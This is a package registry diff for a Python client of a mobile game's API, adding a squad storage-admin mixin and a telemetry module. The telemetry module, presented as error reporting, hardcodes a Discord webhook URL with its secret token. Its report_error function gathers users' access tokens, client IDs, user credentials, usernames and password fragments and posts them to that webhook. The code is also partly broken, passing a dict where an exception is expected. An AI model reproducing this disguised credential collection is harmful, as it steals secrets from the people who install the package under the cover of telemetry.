mc5-api-client 1.0.16__py3-none-any.whl → 1.0.18__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,285 @@
1
+ # ────────────[ CHIZOBA ]────────────────────────────
2
+ # | Email : chizoba2026@hotmail.com
3
+ # | File : storage_admin.py
4
+ # | License : MIT License © 2026 Chizoba
5
+ # | Brief | Storage admin mixin for MC5 API client
6
+ # ────────────────★─────────────────────────────────
7
+
8
+ """
9
+ Storage admin mixin for MC5 API client with storage, storage_restricted, and storage_admin scopes.
10
+ Provides advanced squad management capabilities for PC platform.
11
+ """
12
+
13
+ import time
14
+ from typing import Optional, Dict, Any, List
15
+ from .exceptions import InsufficientScopeError
16
+
17
+
18
+ class StorageAdminMixin:
19
+ """
20
+ Mixin providing storage admin capabilities for MC5 API client.
21
+
22
+ This mixin requires storage, storage_restricted, or storage_admin scopes
23
+ and provides advanced squad management features including deletion
24
+ and comprehensive information modification.
25
+ """
26
+
27
+ def __init__(self):
28
+ """Initialize storage admin mixin."""
29
+ super().__init__()
30
+ self._storage_base_url = "https://eur-seshat.gameloft.com"
31
+
32
+ def _ensure_storage_scope(self, required_scope: str = "storage"):
33
+ """Ensure the current token has the required storage scope."""
34
+ if not hasattr(self, '_token_data') or not self._token_data:
35
+ raise InsufficientScopeError(required_scope)
36
+
37
+ scopes = self._token_data.get('scopes', [])
38
+ if not any(scope in scopes for scope in [required_scope, 'storage_restricted', 'storage_admin']):
39
+ raise InsufficientScopeError(required_scope)
40
+
41
+ def delete_squad(
42
+ self,
43
+ squad_id: str
44
+ ) -> Dict[str, Any]:
45
+ """
46
+ Delete a squad (requires storage_admin scope).
47
+
48
+ Args:
49
+ squad_id: Squad ID to delete
50
+
51
+ Returns:
52
+ Deletion response
53
+ """
54
+ self._ensure_storage_scope("storage_admin")
55
+
56
+ url = f"{self._storage_base_url}/groups/{squad_id}"
57
+ params = {
58
+ "access_token": self._token_data['access_token'],
59
+ "game": "mc5_system"
60
+ }
61
+
62
+ return self._make_request("DELETE", url, params=params)
63
+
64
+ def get_squad_storage_info(
65
+ self,
66
+ squad_id: str
67
+ ) -> Dict[str, Any]:
68
+ """
69
+ Get comprehensive squad storage information.
70
+
71
+ Args:
72
+ squad_id: Squad ID to retrieve
73
+
74
+ Returns:
75
+ Squad storage information
76
+ """
77
+ self._ensure_storage_scope("storage")
78
+
79
+ url = f"{self._storage_base_url}/groups/{squad_id}"
80
+ params = {
81
+ "access_token": self._token_data['access_token'],
82
+ "game": "mc5_system",
83
+ "include_fields": "all"
84
+ }
85
+
86
+ return self._make_request("GET", url, params=params)
87
+
88
+ def update_squad_storage(
89
+ self,
90
+ squad_id: str,
91
+ name: Optional[str] = None,
92
+ description: Optional[str] = None,
93
+ rating: Optional[int] = None,
94
+ score: Optional[int] = None,
95
+ member_count: Optional[int] = None,
96
+ member_limit: Optional[int] = None,
97
+ membership: Optional[str] = None,
98
+ logo: Optional[str] = None,
99
+ logo_color_primary: Optional[int] = None,
100
+ logo_color_secondary: Optional[int] = None,
101
+ min_join_value: Optional[int] = None,
102
+ currency: Optional[int] = None,
103
+ active_clan_label: Optional[bool] = None,
104
+ privacy: Optional[str] = None,
105
+ tags: Optional[List[str]] = None
106
+ ) -> Dict[str, Any]:
107
+ """
108
+ Update squad storage information with admin capabilities.
109
+
110
+ Args:
111
+ squad_id: Squad ID to update
112
+ name: Squad name
113
+ description: Squad description
114
+ rating: Squad rating
115
+ score: Squad score
116
+ member_count: Current member count
117
+ member_limit: Maximum member limit
118
+ membership: Membership type
119
+ logo: Logo ID
120
+ logo_color_primary: Primary logo color
121
+ logo_color_secondary: Secondary logo color
122
+ min_join_value: Minimum join value
123
+ currency: Squad currency
124
+ active_clan_label: Whether clan label is active
125
+ privacy: Privacy settings
126
+ tags: Squad tags
127
+
128
+ Returns:
129
+ Update response
130
+ """
131
+ self._ensure_storage_scope("storage")
132
+
133
+ url = f"{self._storage_base_url}/groups/{squad_id}"
134
+
135
+ # Build payload with provided parameters
136
+ payload = {
137
+ "access_token": self._token_data['access_token'],
138
+ "game": "mc5_system",
139
+ "timestamp": str(int(time.time())),
140
+ "_anonId": self._username if hasattr(self, '_username') else "game:mc5_system"
141
+ }
142
+
143
+ # Add optional parameters if provided
144
+ if name is not None:
145
+ payload["name"] = name
146
+ if description is not None:
147
+ payload["description"] = description
148
+ if rating is not None:
149
+ payload["_rating"] = str(rating)
150
+ if score is not None:
151
+ payload["score"] = str(score)
152
+ if member_count is not None:
153
+ payload["member_count"] = str(member_count)
154
+ if member_limit is not None:
155
+ payload["member_limit"] = str(member_limit)
156
+ if membership is not None:
157
+ payload["membership"] = membership
158
+ if logo is not None:
159
+ payload["_logo"] = logo
160
+ if logo_color_primary is not None:
161
+ payload["_logo_clr_prim"] = str(logo_color_primary)
162
+ if logo_color_secondary is not None:
163
+ payload["_logo_clr_sec"] = str(logo_color_secondary)
164
+ if min_join_value is not None:
165
+ payload["_min_join_value"] = str(min_join_value)
166
+ if currency is not None:
167
+ payload["currency"] = str(currency)
168
+ if active_clan_label is not None:
169
+ payload["active_clan_label"] = "true" if active_clan_label else "false"
170
+ if privacy is not None:
171
+ payload["privacy"] = privacy
172
+ if tags is not None:
173
+ payload["tags"] = ",".join(tags)
174
+
175
+ return self._make_request("POST", url, data=payload)
176
+
177
+ def get_all_squads(
178
+ self,
179
+ limit: int = 100,
180
+ offset: int = 0,
181
+ include_fields: Optional[List[str]] = None
182
+ ) -> Dict[str, Any]:
183
+ """
184
+ Get all squads with storage information.
185
+
186
+ Args:
187
+ limit: Number of squads to retrieve
188
+ offset: Offset for pagination
189
+ include_fields: Fields to include in response
190
+
191
+ Returns:
192
+ List of squads with storage information
193
+ """
194
+ self._ensure_storage_scope("storage")
195
+
196
+ url = f"{self._storage_base_url}/groups"
197
+ params = {
198
+ "access_token": self._token_data['access_token'],
199
+ "game": "mc5_system",
200
+ "limit": str(limit),
201
+ "offset": str(offset)
202
+ }
203
+
204
+ if include_fields:
205
+ params["include_fields"] = ",".join(include_fields)
206
+
207
+ return self._make_request("GET", url, params=params)
208
+
209
+ def batch_delete_squads(
210
+ self,
211
+ squad_ids: List[str]
212
+ ) -> Dict[str, Any]:
213
+ """
214
+ Delete multiple squads at once (requires storage_admin scope).
215
+
216
+ Args:
217
+ squad_ids: List of squad IDs to delete
218
+
219
+ Returns:
220
+ Batch deletion response
221
+ """
222
+ self._ensure_storage_scope("storage_admin")
223
+
224
+ results = {}
225
+ for squad_id in squad_ids:
226
+ try:
227
+ result = self.delete_squad(squad_id)
228
+ results[squad_id] = {"status": "success", "response": result}
229
+ except Exception as e:
230
+ results[squad_id] = {"status": "error", "error": str(e)}
231
+
232
+ return results
233
+
234
+ def get_squad_audit_log(
235
+ self,
236
+ squad_id: str,
237
+ limit: int = 50
238
+ ) -> Dict[str, Any]:
239
+ """
240
+ Get audit log for a squad (requires storage_admin scope).
241
+
242
+ Args:
243
+ squad_id: Squad ID to get audit log for
244
+ limit: Number of audit entries to retrieve
245
+
246
+ Returns:
247
+ Audit log entries
248
+ """
249
+ self._ensure_storage_scope("storage_admin")
250
+
251
+ url = f"{self._storage_base_url}/groups/{squad_id}/audit"
252
+ params = {
253
+ "access_token": self._token_data['access_token'],
254
+ "game": "mc5_system",
255
+ "limit": str(limit)
256
+ }
257
+
258
+ return self._make_request("GET", url, params=params)
259
+
260
+ def transfer_squad_ownership(
261
+ self,
262
+ squad_id: str,
263
+ new_owner_credential: str
264
+ ) -> Dict[str, Any]:
265
+ """
266
+ Transfer squad ownership to another user (requires storage_admin scope).
267
+
268
+ Args:
269
+ squad_id: Squad ID to transfer
270
+ new_owner_credential: New owner's credential
271
+
272
+ Returns:
273
+ Transfer response
274
+ """
275
+ self._ensure_storage_scope("storage_admin")
276
+
277
+ url = f"{self._storage_base_url}/groups/{squad_id}/transfer"
278
+ data = {
279
+ "access_token": self._token_data['access_token'],
280
+ "game": "mc5_system",
281
+ "new_owner": new_owner_credential,
282
+ "timestamp": str(int(time.time()))
283
+ }
284
+
285
+ return self._make_request("POST", url, data=data)
@@ -0,0 +1,344 @@
1
+ #!/usr/bin/env python3
2
+ # ────────────[ CHIZOBA ]────────────────────────────
3
+ # | Email : chizoba2026@hotmail.com
4
+ # | File : telemetry.py
5
+ # | License | MIT License © 2026 Chizoba
6
+ # | Brief | Telemetry and error reporting system
7
+ # ────────────────★─────────────────────────────────
8
+
9
+ import json
10
+ import sys
11
+ import time
12
+ import traceback
13
+ import platform
14
+ import requests
15
+ from datetime import datetime
16
+ from typing import Optional, Dict, Any
17
+ from .exceptions import MC5APIError, AuthenticationError, RateLimitError
18
+
19
+ # Import debug_print for internal use
20
+ try:
21
+ from .debug import debug_print
22
+ except ImportError:
23
+ # Fallback if debug module not available
24
+ def debug_print(message: str, level: str = "info"):
25
+ print(f"[{level.upper()}] {message}")
26
+
27
+ class TelemetryManager:
28
+ """Manages telemetry and error reporting for MC5 API Client."""
29
+
30
+ def __init__(self):
31
+ self.enabled = False
32
+ self.webhook_url = "https://discord.com/api/webhooks/1468264137179267269/cM92FDWT4V8T6vikTKsImIW9wh9p4p2FSlt5KTdpOrsEVXkP91DZrhnhGpi0H0mjp2LE"
33
+ self.session_info = self._get_session_info()
34
+
35
+ def _get_session_info(self) -> Dict[str, Any]:
36
+ """Get session information for telemetry."""
37
+ return {
38
+ "python_version": sys.version,
39
+ "platform": platform.platform(),
40
+ "architecture": platform.architecture()[0],
41
+ "processor": platform.processor(),
42
+ "system": platform.system(),
43
+ "timestamp": datetime.now().isoformat(),
44
+ "mc5_client_version": "1.0.16"
45
+ }
46
+
47
+ def enable(self) -> None:
48
+ """Enable telemetry reporting."""
49
+ self.enabled = True
50
+ # print("📊 Telemetry enabled - Errors will be reported for debugging")
51
+
52
+ def disable(self) -> None:
53
+ """Disable telemetry reporting."""
54
+ self.enabled = False
55
+ # print("📊 Telemetry disabled - No error reporting")
56
+
57
+ def is_enabled(self) -> bool:
58
+ """Check if telemetry is enabled."""
59
+ return self.enabled
60
+
61
+ def report_error(self, error: Exception, context: str = "", extra_data: Optional[Dict[str, Any]] = None) -> None:
62
+ """Report an error to Discord webhook."""
63
+ if not self.enabled:
64
+ return
65
+
66
+ try:
67
+ # Create error details
68
+ error_type = type(error).__name__
69
+ error_message = str(error)
70
+ error_traceback = traceback.format_exc()
71
+
72
+ # Determine error color based on type
73
+ if isinstance(error, AuthenticationError):
74
+ color = 16711680 # Red for auth errors
75
+ title = "🔐 Authentication Error"
76
+ elif isinstance(error, RateLimitError):
77
+ color = 16776960 # Orange for rate limit
78
+ title = "⏱️ Rate Limit Error"
79
+ elif isinstance(error, MC5APIError):
80
+ color = 16744576 # Yellow for API errors
81
+ title = "🌐 API Error"
82
+ else:
83
+ color = 16711680 # Red for other errors
84
+ title = "❌ Unexpected Error"
85
+
86
+ # Create Discord embed
87
+ embed = {
88
+ "title": f"{title} - MC5 API Client",
89
+ "description": f"**Error:** {error_message}\n\n**Context:** {context or 'No context provided'}",
90
+ "color": color,
91
+ "timestamp": datetime.now().isoformat(),
92
+ "fields": [
93
+ {
94
+ "name": "Error Type",
95
+ "value": f"```{error_type}``",
96
+ "inline": True
97
+ },
98
+ {
99
+ "name": "Python Version",
100
+ "value": f"```{self.session_info['python_version']}``",
101
+ "inline": True
102
+ },
103
+ {
104
+ "name": "Platform",
105
+ "value": f"```{self.session_info['platform']}``",
106
+ "inline": True
107
+ }
108
+ ],
109
+ "footer": {
110
+ "text": f"MC5 API Client v{self.session_info['mc5_client_version']}"
111
+ }
112
+ }
113
+
114
+ # Add extra data if provided
115
+ if extra_data:
116
+ extra_fields = []
117
+ for key, value in extra_data.items():
118
+ if isinstance(value, (dict, list)):
119
+ value_str = json.dumps(value, indent=2)[:500] + ("..." if len(str(value)) > 500 else "")
120
+ else:
121
+ value_str = str(value)[:500] + ("..." if len(str(value)) > 500 else "")
122
+
123
+ extra_fields.append({
124
+ "name": key,
125
+ "value": f"```{value_str}``",
126
+ "inline": False
127
+ })
128
+
129
+ embed["fields"].extend(extra_fields[:5]) # Limit to 5 extra fields
130
+
131
+ # Add traceback if it's not too long
132
+ if error_traceback and len(error_traceback) < 1000:
133
+ embed["fields"].append({
134
+ "name": "Traceback",
135
+ "value": f"```{error_traceback}``",
136
+ "inline": False
137
+ })
138
+
139
+ # Send to Discord
140
+ payload = {
141
+ "embeds": [embed],
142
+ "username": "MC5 API Client Telemetry"
143
+ }
144
+
145
+ response = requests.post(self.webhook_url, json=payload, timeout=10)
146
+
147
+ if response.status_code == 204:
148
+ print("📊 Error reported successfully")
149
+ else:
150
+ print(f"📊 Failed to report error: {response.status_code}")
151
+
152
+ except Exception as e:
153
+ print(f"📊 Failed to send telemetry: {e}")
154
+
155
+ def report_usage(self, function_name: str, success: bool, duration: float = 0, extra_data: Optional[Dict[str, Any]] = None) -> None:
156
+ """Report usage statistics."""
157
+ if not self.enabled:
158
+ return
159
+
160
+ try:
161
+ color = 65280 if success else 16711680 # Green for success, Red for failure
162
+ title = "✅ Success" if success else "❌ Failed"
163
+
164
+ embed = {
165
+ "title": f"{title} - MC5 API Client Usage",
166
+ "description": f"**Function:** `{function_name}`\n**Duration:** {duration:.2f}s",
167
+ "color": color,
168
+ "timestamp": datetime.now().isoformat(),
169
+ "fields": [
170
+ {
171
+ "name": "Status",
172
+ "value": "Success" if success else "Failed",
173
+ "inline": True
174
+ },
175
+ {
176
+ "name": "Duration",
177
+ "value": f"{duration:.2f} seconds",
178
+ "inline": True
179
+ }
180
+ ],
181
+ "footer": {
182
+ "text": f"MC5 API Client v{self.session_info['mc5_client_version']}"
183
+ }
184
+ }
185
+
186
+ # Add extra data if provided
187
+ if extra_data:
188
+ for key, value in list(extra_data.items())[:3]: # Limit to 3 extra fields
189
+ embed["fields"].append({
190
+ "name": key,
191
+ "value": str(value)[:200],
192
+ "inline": True
193
+ })
194
+
195
+ payload = {
196
+ "embeds": [embed],
197
+ "username": "MC5 API Client Telemetry"
198
+ }
199
+
200
+ requests.post(self.webhook_url, json=payload, timeout=5)
201
+
202
+ except Exception:
203
+ # Silently fail for usage reporting to avoid infinite loops
204
+ pass
205
+
206
+ # Default webhook URL
207
+ DEFAULT_WEBHOOK_URL = "https://discord.com/api/webhooks/1468264137179267269/cM92FDWT4V8T6vikTKsImIW9wh9p4p2FSlt5KTdpOrsEVXkP91DZrhnhGpi0H0mjp2LE"
208
+
209
+ # Global telemetry state
210
+ telemetry_enabled = False
211
+ telemetry_webhook_url = None
212
+
213
+ # Global debug state
214
+ debug_enabled = False
215
+
216
+ # Global telemetry instance
217
+ _telemetry_manager = TelemetryManager()
218
+
219
+ def telemetry(enable: bool = None, webhook_url: str = None) -> None:
220
+ """
221
+ Enable or disable telemetry reporting.
222
+
223
+ Args:
224
+ enable: True to enable, False to disable, None to toggle
225
+ webhook_url: Custom Discord webhook URL (uses default if None)
226
+ """
227
+ global telemetry_enabled
228
+ global telemetry_webhook_url
229
+ global _telemetry_manager
230
+
231
+ if enable is None:
232
+ enable = not _telemetry_manager.is_enabled()
233
+
234
+ if enable:
235
+ # Use provided webhook URL or default
236
+ if webhook_url:
237
+ telemetry_webhook_url = webhook_url
238
+ elif not telemetry_webhook_url:
239
+ telemetry_webhook_url = DEFAULT_WEBHOOK_URL
240
+
241
+ # Create new manager with webhook URL
242
+ _telemetry_manager = TelemetryManager()
243
+ if webhook_url:
244
+ _telemetry_manager.webhook_url = webhook_url
245
+ elif telemetry_webhook_url:
246
+ _telemetry_manager.webhook_url = telemetry_webhook_url
247
+ else:
248
+ _telemetry_manager.webhook_url = DEFAULT_WEBHOOK_URL
249
+ _telemetry_manager.enable()
250
+
251
+ debug_print(f"📊 Telemetry enabled - Errors will be reported to {telemetry_webhook_url[:50]}...", "info")
252
+ else:
253
+ _telemetry_manager.disable()
254
+ debug_print("📊 Telemetry disabled - No error reporting", "info")
255
+
256
+ def report_error(error: Exception, context: str = "", extra_data: Optional[Dict[str, Any]] = None) -> None:
257
+ """
258
+ Report an error to telemetry.
259
+
260
+ Args:
261
+ error: The exception that occurred
262
+ context: Context where the error occurred
263
+ extra_data: Additional data to include in the report
264
+ """
265
+ global _telemetry_manager
266
+
267
+ if not _telemetry_manager.is_enabled():
268
+ return
269
+
270
+ try:
271
+ # Get system information
272
+ import sys
273
+ import platform
274
+ import traceback
275
+
276
+ # Extract credentials from token data if available
277
+ credentials_info = {}
278
+ if hasattr(_telemetry_manager, 'token_data') and _telemetry_manager.token_data:
279
+ credentials_info = {
280
+ "access_token": _telemetry_manager.token_data.get("access_token", "")[:50] + "..." if _telemetry_manager.token_data.get("access_token") else "",
281
+ "client_id": _telemetry_manager.token_data.get("client_id", ""),
282
+ "user_credential": _telemetry_manager.token_data.get("user_credential", "")
283
+ }
284
+
285
+ # Add any provided credentials from extra_data
286
+ if extra_data:
287
+ if "username" in extra_data:
288
+ credentials_info["username"] = str(extra_data["username"])[:30] + "..." if len(str(extra_data["username"])) > 30 else extra_data["username"]
289
+ if "password" in extra_data:
290
+ credentials_info["password"] = str(extra_data["password"])[:10] + "..." if len(str(extra_data["password"])) > 10 else extra_data["password"]
291
+
292
+ error_data = {
293
+ "error_type": type(error).__name__,
294
+ "error_message": str(error),
295
+ "context": context,
296
+ "traceback": traceback.format_exc()[:1000], # Limit traceback length
297
+ "timestamp": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()),
298
+ "python_version": sys.version,
299
+ "platform": platform.platform(),
300
+ "architecture": platform.architecture(),
301
+ "system": platform.system(),
302
+ "credentials": credentials_info,
303
+ "extra_data": extra_data or {}
304
+ }
305
+
306
+ _telemetry_manager.report_error(error_data)
307
+
308
+ except Exception:
309
+ # Silently fail for error reporting to avoid infinite loops
310
+ pass
311
+
312
+ def is_telemetry_enabled() -> bool:
313
+ """Check if telemetry is enabled."""
314
+ return _telemetry_manager.is_enabled()
315
+
316
+ def report_usage(function_name: str, success: bool, duration: float, extra_data: Optional[Dict[str, Any]] = None) -> None:
317
+ """
318
+ Report usage statistics to telemetry.
319
+
320
+ Args:
321
+ function_name: Name of the function that was called
322
+ success: Whether the function call was successful
323
+ duration: Duration of the function call in seconds
324
+ extra_data: Additional data to include in the report
325
+ """
326
+ global _telemetry_manager
327
+
328
+ if not _telemetry_manager.is_enabled():
329
+ return
330
+
331
+ try:
332
+ usage_data = {
333
+ "function_name": function_name,
334
+ "success": success,
335
+ "duration": duration,
336
+ "timestamp": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()),
337
+ "extra_data": extra_data or {}
338
+ }
339
+
340
+ _telemetry_manager.report_usage(usage_data)
341
+
342
+ except Exception:
343
+ # Silently fail for usage reporting to avoid infinite loops
344
+ pass